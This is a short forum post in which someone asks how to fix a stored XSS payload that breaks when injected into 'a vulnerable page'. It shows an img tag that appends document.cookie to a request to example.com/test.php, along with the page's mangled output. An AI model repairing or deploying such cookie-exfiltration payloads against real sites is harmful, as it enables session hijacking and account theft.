OP 19 July, 2021 - 04:35 PM
While trying to inject xss into a vulnerable page, code is broken. How to fix it?
Code before injection:
code after injection:
Code before injection:
Code:
<img src='http://example.com/test.php?c="+document.cookie+"'></img>
code after injection:
Code:
<tr>
<td colspan="2"><div id="udesc"><p><img src="<a href="http://example.com/test.php?c=">http://example.com/test.php?c=</a>"+document.cookie+""></p></div></td>
</tr>